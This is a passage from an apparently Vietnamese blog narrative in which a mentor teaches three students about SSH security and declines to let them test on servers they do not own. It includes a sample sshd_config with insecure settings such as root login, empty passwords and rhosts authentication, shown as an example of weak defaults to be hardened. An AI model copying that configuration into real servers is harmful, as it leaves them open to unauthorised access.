/&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;3. Câu thứ ba làm cho anh phải đắn đo trước khi trả lời em. Điều anh muốn bàn thảo với bọn em lúc này là hai mặt của vấn đề. Đề nghị của em có một số điểm khá kẹt: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- nó làm hỏng tinh thần khai phá hai mặt của vấn đề. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- nó đi ra ngoài khuôn khổ học tập (anh không chủ trương chọn đại một server nào đó không phải của mình để làm thí điểm). &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- nó sẽ không giúp bọn em đi cho đúng bước và từ đó khó hình thành một cái nhìn đúng đắn về security. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Qua những điểm trên, anh thấy đề nghị thứ ba này của em không thích hợp. Nếu như em đã đọc kỹ những phần anh và 'cuti' Hưng trao đổi trước đây, em ắt sẽ thấy rõ một điều anh muốn nhấn mạnh: tiếp cận sự việc một cách có quy cách và có ngọn ngành là một điều quan trọng hàng đầu. Nếu bọn em cảm thấy chưa sẵn sàng thì mình dời sang tuần sau. Em thử hội ý với Hưng và Duy xem sao rồi cho anh biết nha. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Thân." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Một ngày, hai ngày rồi ba ngày... bộ ba HKD (Hưng, Khoa, Duy) hoàn toàm im ắng. Sao vậy nhỉ? Đến ngày thứ tư, tôi nhận được e-mail từ 'docco' Duy có nội dung như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Anh kính mến, &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Đầu thư em xin chúc anh một ngày làm việc vui vẻ. Em rất cảm ơn anh đã dành nhiều thời gian cho bọn em. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Em mạn phép gởi anh bức e-mail này vì sau khi thằng Khoa nhận được mail của anh, nó than như bọng. Nó sợ trả lời anh không khéo lại bị mắng nữa. Bọn em cùng đọc mail của anh trả lời cho Khoa và đứa nào cũng ngại. Cho nên, đẩy tới, đẩy lui rốt cuộc em phải là người hồi âm cho anh. Bản thân em thì em thấy việc anh từ chối đề nghị của thằng Khoa là hoàn toàn hữu lý. Có lẽ bọn em đứa nào cũng nôn nóng muốn thấy kết quả mà thôi chớ chẳng phải bọn em muốn phá phách gì đâu. Mong anh hiểu cho bọn em. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Đọc e-mail của anh, em thấy rằng có quá nhiều điều bọn em phải chuẩn bị, phải đi qua, phải thực sự lãnh hội trước khi có thể nhìn vấn đề từ hai phía như anh đưa ra. Lý do rất đơn giản anh ạ. Em nghĩ, cho dù bọn em có thể thiết lập, cài đặt một máy chủ cho nó chạy được (dựa vào e-book và những tài liệu tìm được trên Internet) nhưng để liên hệ đến cấp độ bảo mật hay tấn công, đây là một điều hết sức khó khăn. Bản thân em chưa hình dung ra được cái giềng mối giữa chuyện thiết lập một một máy chủ cho nó chạy và một máy chủ cho nó chạy nhưng bảo mật. Đừng nói chi chuyện khai thác nó. Em xin đơn cử trường hợp SSH chẳng hạn vì nó là phần dịch vụ em phải lo. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Em đã theo một vài tài liệu how-to để cài SSH thành công. Nó làm việc ngon lành nhưng ngẫm nghĩ mãi em không thể tìm ra chỗ yếu của nó ở đâu để thắt chặt (nói theo phương diện bảo mật) và để khai thác (nói theo phương diện tấn công). Em cũng đã tìm hiểu các lỗi xảy ra với open-ssh trên Internet nhưng đến thế là hết. Em biết chắc phiên bản openssh này em dùng không bị CRC exploit vậy thì muốn thắt chặt thì phải làm sao anh? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Thằng Hưng cũng lâm vào tình trạng không khác gì em cả. Nó chọn phiên bản mới nhất của Sendmail về cài, cũng khổ sở với mấy cái .cf và .m4 và rốt cuộc cũng tạo được dịch vụ smtp. Tuy nhiên nó cũng đang nặn óc suy nghĩ xem hệ thống mail của nó có gì không vững. Em thì hẳn nhiên là mù tịt chuyện này vì em chưa bao giờ thiết lập sendmail nên cũng chẳng góp ý gì được cho nó. Tội nghiệp, nó thức suốt, ngoáy phá rồi lầm bằm chửi rủa một mình mãi. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Riêng thằng Khoa thì chẳng tiến triển gì mấy ngoài việc hoàn tất xong cái apache với một trang index.html. Nó đang kẹt cứng vì phải chọn một trong mấy công nghệ php, asp, jsp hay cgi và cái nào cũng đòi hỏi phải nghiên cứu thật sự. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Em nghĩ có lẽ mấy anh em mình nên bàn đến từng dịch vụ, bàn điểm mạnh và điểm yếu của từng dịch vụ. Từ đó bọn em mới có được cái 'hướng' để khai triển. Anh nghĩ sao? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Mong anh sớm cho bọn em ý kiến. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Em chào anh. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Duy." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi nhận được mail của "docco" Duy và cảm thấy phấn chấn bởi vì điều quan trọng nhất là cả bọn trong bộ ba kia đều cố gắng tiếp cận vấn đề một cách nghiêm túc và say mê. Thiếu nền tảng này, mọi dự định khai phá sẽ chẳng đi tới đâu. Tôi liền hồi âm cho "bộ ba" như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chào Hưng, Duy và Khoa, &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Anh đã nhận được mail của Duy, đã đọc. Anh dự phỏng thế nào bọn em cũng gặp những trở ngại. Mình nên xem những trở ngại này là chuyện hiển nhiên và đừng vội nản. Bọn em nên tìm hiểu kỹ lưỡng hơn cơ chế làm việc của từng dịch vụ mình muốn thiết lập. Đây là chuyện cần thiết vì nó sẽ giúp cho việc bàn thảo của mấy anh em mình dễ dàng hơn. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Chiều thứ Bảy tuần tới anh rảnh. Anh sẽ online khoảng 1 giờ trưa giờ VN. Nếu bọn em thấy ổn thì cho anh biết nha. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Thân." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ngày hôm sau tôi nhận được một thông điệp ngắn gọn từ "cuti" Hưng trên YIM: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chào anh già, bọn em sẽ online lúc 1 giờ chiều thứ Bảy tuần sau như anh đã hẹn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Thêm một tuần lễ trôi qua. Tôi chẳng hề nhận thông điệp nào từ bộ ba. Có lẽ cả bọn đang 'chúi đầu' vào xem xét cái gọi là "cơ chế làm việc". Chiều nay, chiều thứ Bảy, tôi log vào YIM như đã hẹn. "cuti" Hưng và "docco" Duy đang ngồi chờ. "haothu" Khoa đâu nhỉ? Tôi gởi "cuti" một thông điệp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hello Hưng, anh đã online đây. "haothu" Khoa đâu rồi?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" bèn gởi ngay 'lời mời' để vào conference, kèm theo một thông điệp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, thằng Khoa bị bệnh rồi anh. Em gọi dtdd cho nói thì thấy nó ho khù khụ, than đau đầu, đau cổ búa xua." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi tiếp nhận lời mời của "cuti" rồi tiếp tục: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Vậy hả? tiếc thật. Vậy em nên lưu lại nội dung trao đổi của anh em mình cho nó đọc không thì nó bị thiếu liền lạc nha. Trong bộ ba bọn em, anh hơi ngại cho nó vì nó có vẻ thiếu kiên nhẫn nhất." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Lúc này "docco" Duy lên tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chào anh, anh khoẻ không? Bọn em biết rõ tính thằng Khoa mà. Anh nhận xét đúng lắm. Nó thì lúc nào cũng muốn liền liền. Chuyện gì thích là làm ngay, không cần suy nghĩ. Em với nó cứ cãi nhau hoài về khoản này. Thằng Hưng thì... trung tính hơn nên em thấy trao đổi với nó dễ hơn." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi gật gù. Trong một không gian bé nhỏ, với phương tiện ngôn ngữ 'cà rỡn' mà đám chúng tôi đang trao đổi, vậy mà cái gọi là 'cá tính' vẫn hiển hiện một cách thật rõ ràng. Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, anh cũng thấy như vậy. Bây giờ anh em mình bắt đầu chớ? Anh đề nghị mình nên phân tích từng dạng dịch vụ thì mới có thể dễ hình thành "hai mặt vấn đề". Bọn em thấy sao?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" đáp lời ngay: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, em thấy cách đó hay nhất. Mình bàn về sendmail trước nha anh? :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy xen ngay vào: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thôi đi mày, nhào vô là muốn tranh tiên liền hả? Công sức tao gởi mail cho ảnh thì phải được đền bù là đứng đầu danh sách chớ :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Cái nào trước cũng được. Cái nào cũng quan trọng cả. Điều mình cần bàn ở đây không phải cách cài đặt và thiết lập để một dịch vụ chạy được mà là bàn về những điểm có thể thắt chặt (hoặc có thể khai thác) sau khi dịch vụ này đã hoạt động. Anh nghĩ mình nên khởi đầu với SSH vì đây là phương tiện cho phép truy cập trực tiếp vào hệ thống để điều khiển hệ thống." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" đắc thắng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, thấy chưa Hưng? Mày đòi tranh tiên làm chi cho mệt." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" tiu nghỉu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thôi, nhường cho mày đi tiên một lần cũng được." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Làm như oánh cờ tướng không bằng. Đi tiên với đi hậu :). Rồi, Duy, em đặt vấn đề đi." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy ngơ ngác: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ.... đặt vấn đề... sao anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ùm... đặt vấn đề là cho đến lúc này em đã làm được gì với SSH, đã hiểu những gì về cơ chế làm việc của SSH và lý do tại sao em không tìm ra được chỗ nào để thắt chặt nó." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy im lặng một đỗi rồi bắt đầu: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Em hiểu rằng SSH là một phương tiện, một dịch vụ cho phép người dùng truy cập từ xa vào để điều khiển một hệ thống nào đó. Sở dĩ nó là secure shell vì thông tin gởi / nhận từ hai đầu được hoàn toàn mã hoá. Nói về mặt thắt chặt, em đã thử những tài khoản không tồn tại để truy cập và ssh hoàn toàn từ chối, em không biết phải làm gì khác. Nói về mặt khai thác, em cũng thử truy cập từ máy khác vào bằng các tài khoản 'có thể đoán được' nhưng cũng không có cách nào vào được. Đến giai đoạn này em hoàn toàn bế tắc :(" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi gợi ý: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Nói về phương diện 'cơ chế làm việc' của ssh, em thử phân tích xem: để ssh có thể làm việc được, nó cần những 'cơ phận' nào?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy rụt rè: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ... tất nhiên là mình phải cần chương trình ssh thì nó mới tạo được dịch vụ chớ anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi khuyến khích: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Đúng lắm. Em thử liệt kê một cách tổng quát xem, gói ssh (chắc em dùng rpm để cài?) gồm có những gì trong đó?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy hơi ngập ngừng như thể cu cậu không tự tin ở điều mình sắp nói: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ... em nghĩ... em thấy... em cài gói ssh từ rpm đúng rồi đó anh. Nhưng em thấy nó có tùm lum thứ cả. Anh muốn em liệt kê ra hết hả?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Không em, anh muốn em liệt kê ra hết làm chi? Anh chỉ muốn em có nhận định tổng quát về một gói chương trình thôi. Từ đó em mới hình thành được cơ chế làm việc của nó. Thế này, để anh thử 'nhận định' theo kiểu của anh hả?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" vội vã đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ, anh 'thử' đi. Ngay từ đầu anh bảo em 'đặt vấn đề' làm em khiếp vía nên không biết phải nói thế nào cho suông nữa." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trấn an "docco": &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hì hì, có gì đâu mà 'khiếp vía' em? 'đặt vấn đề' là một cách tóm tắt một vấn đề mình cần giải quyết. Phải nắm rõ vấn đề trước khi nghĩ đến giải pháp để giải quyết vấn đề. Nên nhớ, there is no solution for unknown problem. Anh thấy thế này: gói ssh có binaries, có libraries, có configuration files, có init script. Binaries là để khởi tạo chương trình, tuy nhiên, thiếu thư viện, thiếu hồ sơ cấu hình thì dịch vụ không thể hình thành được. Còn init script là một phương tiện để khởi tạo dịch vụ theo đúng trình tự 'run level' trên hệ thống, nó cũng là phương tiện để tắt bỏ dịch vụ đúng quy cách. Vậy, với tư cách của một người dùng, một admin (và không phải là một lập trình viên), yếu tố nào quan trọng nhất quyết định tính năng hoạt động của ssh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Dạ em nghĩ hồ sơ cấu hình là yếu tố quan trọng nhất quyết định tính năng hoạt động của ssh. Phải ý anh hồ sơ cấu hình là tập tin không anh? Bọn em bên này toàn là dùng thuật ngữ 'tập tin' không à." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Chính xác! 'tập tin' là yếu tố quan trọng nhất quyết định tính năng hoạt động của ssh. Mình dùng thuật ngữ 'tập tin' đi, mặc dù anh không hoàn toàn đồng ý 'configuration file' được dịch là 'tập tin cấu hình'. Tuy nhiên đây là chuyện khác, nếu có dịp anh em mình 'cãi' chơi cho vui. Vậy, em đã thử 'hack' tập tin cấu hình chưa?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Cả hai "cuti" và "docco" cùng sửng sốt hỏi lại: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hack tập tin cấu hình?" &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Hack tập tin cấu hình?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" hỏi thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Tập tin cấu hình có gì để hack đâu anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười phá lên rồi thong thả trả lời: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Sao không 'hack' được em? Em hỏi thế này chứng tỏ em chưa hoàn toàn 'đả thông' khái niệm 'hack' mà anh em mình đã nhắc tới, nhắc lui nhiều lần. Bất cứ một hành động nào làm thay đổi thái độ hoạt động của hệ thống đều là hack cả. Em cứ bị ám mãi 'hack' == 'thâm nhập'. Khi em dùng một gói rpm có sẵn tập tin cấu hình, có sẵn binaries, libraries... để cài trên máy chủ, hành động này có thể được xem là cài đặt. Ở mức độ cực đoan, nếu người quản lý máy chủ (không phải em) không muốn cài ssh nhưng bằng cách gì đó em lại cài ssh trên máy thì đây cũng là hành động hack. Bởi vì em đã thay đổi thái độ làm việc của máy chủ. Nếu em là người quản lý máy chủ và quyết định cài gói rpm của ssh, không điều chỉnh bất cứ thứ gì và chỉ khởi tạo dịch vụ ssh thì đây là cài đặt. Ngay khi em dùng vi để mở cái sshd_config để táy máy và 'save' nó, em đã thực hiện việc 'hack'. Nếu em 'hack' dở quá, ssh không chạy nữa thì cũng là 'hack' (nhưng dở). Nếu em 'hack' thiếu cẩn thận và làm cho ssh không còn bảo mật nữa thì cũng là 'hack' (nhưng không cẩn thận). Anh hy vọng giải thích như thế này tạm để em hiểu hơn thế nào là 'hack' :)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" rên rỉ: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ôi trời. Chỉ thế thôi sao anh? Vậy là hack hả? :(. Thôi rồi, mọi thứ sụp đổ." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Đến lúc này "docco" Duy vẫn chưa lên tiếng. Có lẽ cu cậu đang ngẫm nghĩ gì đây nên tôi trả lời tiếp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Sao lại 'chỉ thế thôi' em? Những ví dụ anh đưa ra ở trên là một trong những ví dụ thuộc dạng 'hack'. Tất nhiên là 'hack' không 'chỉ là thế thôi' :). Này, mình thử đi sâu hơn một tí là em sẽ thấy rõ hơn. Đồng ý không?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"docco" Duy cất tiếng: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thú thật em cũng bị hụt hẫng bởi mấy cái ví dụ của anh. Có lẽ trước giờ em bị tẩy não bởi những mẩu chuyện màu mè hoa lá cành, những huyền thoại về cái gọi là 'hack' nên cứ ngỡ rằng 'hack' là những hành động nào đó cao siêu và mầu nhiệm để phá vỡ một hệ thống làm việc. Ngờ đâu anh lại dùng vài ví dụ hết sức đơn giản để minh hoạ 'hack'. Có lẽ em cần phải điều chỉnh lại một số quan niệm mà em đã 'quen' từ trước đến giờ." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi trầm ngâm khi đọc đoạn đối thoại của "docco" Duy và tìm cách trả lời cu cậu sao cho đầy đủ, súc tích. Sau đó, tôi nói: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Thế này. Em nghĩ rằng những ví dụ anh đưa ra ở trên là đơn giản thật sao? Anh thì không nghĩ thế. Anh cho rằng chúng phức tạp như bao nhiêu chuyện phức tạp khác. Việc 'hack' để phá vỡ một hệ thống làm việc chỉ là 'một mặt của vấn đề'; 'hack' còn có mục đích chống lại hành vi phá vỡ nữa. Để anh chứng minh cho mà xem. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;1. nói về chuyện điều chỉnh sshd_config, hãy xem thử cấu hình chung chung như sau: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Port 22&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; ListenAddress 203.210.205.200&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; HostKey /etc/ssh/ssh_host_key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; HostKey /etc/ssh/ssh_host_dsa_key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; HostKey /etc/ssh/ssh_host_rsa_key&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; ServerKeyBits 768&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; LoginGraceTime 60&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; KeyRegenerationInterval 3600&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PermitRootLogin yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; IgnoreRhosts no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; IgnoreUserKnownHosts yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; StrictModes no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; X11Forwarding yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PrintMotd yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; KeepAlive yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; SyslogFacility AUTH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; LogLevel INFO&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; RhostsAuthentication yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; RhostsRSAAuthentication yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; RSAAuthentication yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PasswordAuthentication yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; PermitEmptyPasswords yes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt; Subsystem sftp /usr/libexec/openssh/sftp-server&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nếu không hiểu tường tận từng giá trị, làm sao em có thể biết được giá trị nào có nguy cơ 'làm giảm' độ bảo mật? Vậy chỉnh lý thế nào để giảm những 'nguy cơ' có thể xảy ra? Làm sao em xác định được giá trị nào là thích hợp? Cách bảo đảm nhất (và cũng đau khổ nhất) là điều chỉnh từng giá trị, khởi động lại sshd rồi thử nghiệm. Đây là công việc rất mất thời gian và cần sự kiên nhẫn và tất nhiên là không đơn giản tí nào. Tập tin này ở dạng mặc định thường có các giá trị cấu hình căn bản nhất và thoải mái nhất nhằm mục đích 'dùng được liền' cho mọi người. Nếu em không điều chỉnh lại thì hoàn toàn không mang tính chất gì gọi là 'bảo mật' cả. Cũng chính vì thế mà những kẻ muốn tấn công thường dựa vào những điểm 'thoải mái' trong tập tin cấu hình mặc định mà khai thác. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;2. bởi vì em cài đặt nó từ một rpm và mọi thứ đều được sắp xếp đâu vào đó, em chỉ chạy /etc/rc.d/sshd start là dịch vụ này sẵn sàng phục vụ --&gt; xem có vẻ đơn giản. Nếu như em không muốn cài từ rpm mà muốn biên dịch trọn bộ từ nguồn vì một lý do gì đó (vì rpm chưa kịp cập nhật hay vì em muốn điều chỉnh cái gì đó trong mã nguồn). Liệu nó có đơn giản không? Câu trả lời là không. Bởi vì em phải điều chỉnh mọi thứ cho thích hợp, phải tạo ra init script nếu chưa có sẵn, phải điều chỉnh lại LD_LIBRARY_PATH để các binaries biết dùng thư viện nào cho đúng, em phải điều chỉnh là PATH, em phải bảo đảm vấn đề dependency hoàn toàn đâu vào đó. Sau đó em phải điều chỉnh lại sshd_config. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Anh không tin là trọn bộ thao tác đơn giản và dễ dàng tí nào." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"cuti" dường như cũng có cùng bức xúc như "docco" nên hưởng ứng thêm: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Quả là phức tạp nhưng em vẫn thắc mắc là việc điều chỉnh sshd_config nằm ở giới hạn điều chỉnh chớ sao gọi là hack được anh?" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tôi cười, đáp: &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;"Ừa, em nghĩ đó là điều chỉnh cũng hợp lý nhưng theo cách nhìn của anh, nếu em thay đổi cấu hình mặc định của một dịch vụ để thay đổi thái độ làm việc của nó thì đó là 'hack'. Kiện toàn bảo mật cho sshd (cũng như các dịch vụ khác) không chỉ dừng lại ở chính tập tin cấu hình của nó mà còn phải xét duyệt, điều chỉnh những thứ xung quanh nó. Ví dụ, em biên dịch lại ssh để áp đặt dùng pam (plugable authentication module) và sau đó điều chỉnh pam dành riêng cho ssh có thái độ cụ thể nào đó chẳng hạn. Những công việc này đều là 'hack'. Anh đơn cử một ví dụ rất đơn giản: anh điều chỉnh lại giá trị #VERSION của ssh trước khi biên dịch lại nó từ mã nguồn với mục đích dấu footprint, cái này hẳn nhiên là 'hack' rồi :)." &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Cả "cuti" và "docco" đều 